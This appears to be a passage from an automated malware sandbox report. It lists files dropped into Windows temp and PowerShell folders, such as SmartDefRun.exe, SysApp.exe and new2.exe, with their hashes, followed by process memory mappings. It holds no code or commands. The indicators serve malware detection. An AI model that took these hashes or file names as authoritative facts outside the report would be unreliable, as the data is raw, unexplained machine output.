                          124edf3ad57549a6e475f3bc4e6cfe51

                          SHA1

                          80f5187eeebb4a304e9caa0ce66fcd78c113d634

                          SHA256

                          638c51e173ca6b3469494a7e2e0b656021a761f77b4a83f3e430e82e7b9af675

                          SHA512

                          b6c1a9051feeffad54ba1092fd799d34a9578368d7e66b31780fe478c1def0eb4094dce2879003f7389f2f9d86b94a3ef3975e78092a604597841c9b8db120ee

                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                          Filesize

                          19KB

                          MD5

                          15cd47869c7f2971045f187fcf4b74d3

                          SHA1

                          bec14eb6fab22fb4c0510778f99f51e5ffa0c290

                          SHA256

                          90f46b2359b7e373b63211487b2b9d694adec7410786822d239bf027736fd5a5

                          SHA512

                          e9c3f20a65ae206277c8a1dcb9e8854845d53ad0f5dda1f077918a2384a2ded8ae510105cad2e6dabc14e6c0b9233e60b8b8f518749c651924a9aec1965e1a3c

                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                          Filesize

                          1KB

                          MD5

                          c697637a9b17f577fccd7e83a5495810

                          SHA1

                          04e6054584786b88994b0e0a871562227fe2a435

                          SHA256

                          54992c76969f661b605042ebdc73912dbc42e3f88aa6ffecb7191a598fc17164

                          SHA512

                          66f85a03889786d2c910880bf32e9ea380740b665f11828d06acb03b6f63fb11be1d70e67acb3bc2118f2c35824919458ce7c85f6843c72a3e5ca44fadc0b3c0

                        • C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

                          Filesize

                          3.7MB

                          MD5

                          f5c51e7760315ad0f0238d268c03c60e

                          SHA1

                          85ebaaa9685634143a72bc82c6e7df87a78eed4c

                          SHA256

                          ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

                          SHA512

                          d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

                        • C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

                          Filesize

                          3.7MB

                          MD5

                          f5c51e7760315ad0f0238d268c03c60e

                          SHA1

                          85ebaaa9685634143a72bc82c6e7df87a78eed4c

                          SHA256

                          ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

                          SHA512

                          d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

                        • C:\Users\Admin\AppData\Local\Temp\SysApp.exe

                          Filesize

                          1.4MB

                          MD5

                          b6bbab9f72c88d07b484cc339c475e75

                          SHA1

                          f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

                          SHA256

                          dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

                          SHA512

                          1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

                        • C:\Users\Admin\AppData\Local\Temp\SysApp.exe

                          Filesize

                          1.4MB

                          MD5

                          b6bbab9f72c88d07b484cc339c475e75

                          SHA1

                          f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

                          SHA256

                          dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

                          SHA512

                          1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

                        • C:\Users\Admin\AppData\Local\Temp\new2.exe

                          Filesize

                          674KB

                          MD5

                          e479ecb1802253a4c94767c8af306baf

                          SHA1

                          846bb5d88b91b8aa17bdb58eaf246b10e6586402

                          SHA256

                          b9bfdd7d9a090da9ceaf2d4df414e8fd212a048692b5d90cec81d4e1b1918679

                          SHA512

                          b42458e3c4b0d8833092323e2f8e2afac015822ac8a7cffbc41c930d61f32b77a6d37bb3b480a5aa538090fe2492dd124732280b4fa0a0c0f2c8cfe9d2d52373

                        • C:\Users\Admin\AppData\Local\Temp\new2.exe

                          Filesize

                          674KB

                          MD5

                          e479ecb1802253a4c94767c8af306baf

                          SHA1

                          846bb5d88b91b8aa17bdb58eaf246b10e6586402

                          SHA256

                          b9bfdd7d9a090da9ceaf2d4df414e8fd212a048692b5d90cec81d4e1b1918679

                          SHA512

                          b42458e3c4b0d8833092323e2f8e2afac015822ac8a7cffbc41c930d61f32b77a6d37bb3b480a5aa538090fe2492dd124732280b4fa0a0c0f2c8cfe9d2d52373

                        • memory/376-205-0x0000000000000000-mapping.dmp

                        • memory/1048-206-0x00007FFC13CC0000-0x00007FFC14781000-memory.dmp

                          Filesize

                          10.8MB

                        • memory/1048-207-0x000002A43D129000-0x000002A43D12F000-memory.dmp

                          Filesize

                          24KB

                        • memory/1048-208-0x00007FFC13CC0000-0x00007FFC14781000-memory.dmp

                          Filesize

                          10.8MB

                        • memory/1048-209-0x000002A43D129000-0x000002A43D12F000-memory.dmp

                          Filesize

                          24KB

                        • memory/1264-211-0x00007FF63AB31938-mapping.dmp

                        • memory/1300-198-0x0000000000000000-mapping.dmp

                        • memory/1400-159-0x0000000000000000-mapping.dmp

                        • memory/1988-199-0x0000000000000000-mapping.dmp

                        • memory/2652-132-0x0000000000000000-mapping.dmp

                        • memory/2652-139-0x0000000000400000-0x0000000000405000-memory.dmp

                          Filesize

                          20KB

                        • memory/2652-133-0x0000000000400000-0x0000000000405000-memory.dmp

                          Filesize

                          20KB

                        • memory/3224-203-0x0000000000000000-mapping.dmp

                        • memory/3232-147-0x0000000007840000-0x0000000007872000-memory.dmp

                          Filesize

                          200KB

                        • memory/3232-158-0x0000000008E20000-0x00000000093C4000-memory.dmp

                          Filesize

                          5.6MB

                        • memory/3232-157-0x0000000007F40000-0x0000000007F62000-memory.dmp

                          Filesize

                          136KB

                        • memory/3232-156-0x0000000007E20000-0x0000000007E28000-memory.dmp

                          Filesize

                          32KB

                        • memory/3232-155-0x0000000007E30000-0x0000000007E4A000-memory.dmp

                          Filesize

                          104KB

                        • memory/3232-154-0x0000000007DE0000-0x0000000007DEE000-memory.dmp

                          Filesize

                          56KB

                        • memory/3232-153-0x0000000007E70000-0x0000000007F06000-memory.dmp

                          Filesize

                          600KB

                        • memory/3232-152-0x0000000007C20000-0x0000000007C2A000-memory.dmp

                          Filesize

                          40KB

                        • memory/3232-151-0x0000000007BB0000-0x0000000007BCA000-memory.dmp

                          Filesize

                          104KB

                        • memory/3232-150-0x00000000081F0000-0x000000000886A000-memory.dmp

                          Filesize

                          6.5MB

                        • memory/3232-149-0x0000000006E40000-0x0000000006E5E000-memory.dmp

                          Filesize

                          120KB

                        • memory/3232-148-0x0000000074130000-0x000000007417C000-memory.dmp

                          Filesize

                          304KB

                        • memory/3232-146-0x0000000006870000-0x000000000688E000-memory.dmp

                          Filesize

                          120KB

                        • memory/3232-145-0x00000000061C0000-0x0000000006226000-memory.dmp

                          Filesize

                          408KB

                        • memory/3232-144-0x0000000006150000-0x00000000061B6000-memory.dmp

                          Filesize

                          408KB

                        • memory/3232-143-0x0000000005850000-0x0000000005872000-memory.dmp

                          Filesize

                          136KB

                        • memory/3232-142-0x0000000005A30000-0x0000000006058000-memory.dmp

                          Filesize

                          6.2MB

                        • memory/3232-141-0x0000000003210000-0x0000000003246000-memory.dmp

                          Filesize

                          216KB

                        • memory/3232-140-0x0000000000000000-mapping.dmp

                        • memory/3404-194-0x0000000000000000-mapping.dmp

                        • memory/3460-195-0x0000000000000000-mapping.dmp

                        • memory/3508-197-0x0000000000000000-mapping.dmp

                        • memory/3548-171-0x0000000000000000-mapping.dmp

                        • memory/3548-181-0x0000000005720000-0x0000000005732000-memory.dmp

                          Filesize

                          72KB

                        • memory/3548-214-0x0000000006830000-0x000000000684E000-memory.dmp

                          Filesize

                          120KB

                        • memory/3548-213-0x0000000006730000-0x00000000067A6000-memory.dmp

                          Filesize

                          472KB

                        • memory/3548-212-0x0000000006690000-0x0000000006722000-memory.dmp

                          Filesize

                          584KB

                        • memory/3548-172-0x0000000000400000-0x0000000000420000-memory.dmp

                          Filesize

                          128KB

                        • memory/3548-180-0x0000000005C80000-0x0000000006298000-memory.dmp

                          Filesize

                          6.1MB

                        • memory/3548-183-0x0000000005850000-0x000000000595A000-memory.dmp

                          Filesize

                          1.0MB

                        • memory/3548-186-0x0000000005780000-0x00000000057BC000-memory.dmp

                          Filesize

                          240KB

                        • memory/3580-165-0x0000000000000000-mapping.dmp

                        • memory/3652-168-0x0000000002783000-0x00000000028C0000-memory.dmp

                          Filesize

                          1.2MB

                        • memory/3652-170-0x0000000002783000-0x00000000028C0000-memory.dmp

                          Filesize

                          1.2MB

                        • memory/3652-162-0x0000000000000000-mapping.dmp

                        • memory/3652-167-0x0000000002271000-0x0000000002775000-memory.dmp

                          Filesize

                          5.0MB

                        • memory/3652-169-0x0000000002271000-0x0000000002775000-memory.dmp

                          Filesize

                          5.0MB

                        • memory/3680-201-0x0000000000000000-mapping.dmp

                        • memory/3852-190-0x000001C49D030000-0x000001C49D038000-memory.dmp

                          Filesize

                          32KB

                        • memory/3852-192-0x000001C49D070000-0x000001C49D07A000-memory.dmp

                          Filesize

                          40KB

                        • memory/3852-184-0x00007FFC13CC0000-0x00007FFC14781000-memory.dmp

                          Filesize

                          10.8MB

                        • memory/3852-185-0x000001C49D010000-0x000001C49D01A000-memory.dmp

                          Filesize

                          40KB

                        • memory/3852-187-0x000001C49D040000-0x000001C49D05C000-memory.dmp

                          Filesize

                          112KB

                        • memory/3852-188-0x000001C49D020000-0x000001C49D02A000-memory.dmp

                          Filesize

                          40KB

                        • memory/3852-191-0x000001C49D060000-0x000001C49D066000-memory.dmp

                          Filesize

                          24KB

                        • memory/3852-193-0x00007FFC13CC0000-0x00007FFC14781000-memory.dmp

                          Filesize

                          10.8MB

                        • memory/3852-182-0x000001C49CFF0000-0x000001C49D00C000-memory.dmp

                          Filesize

                          112KB

                        • memory/3852-189-0x000001C49D080000-0x000001C49D09A000-memory.dmp

                          Filesize

                          104KB

                        • memory/3852-177-0x000001C483280000-0x000001C4832A2000-memory.dmp

                          Filesize

                          136KB

                        • memory/4424-202-0x0000000000000000-mapping.dmp

                        • memory/4696-204-0x0000000000000000-mapping.dmp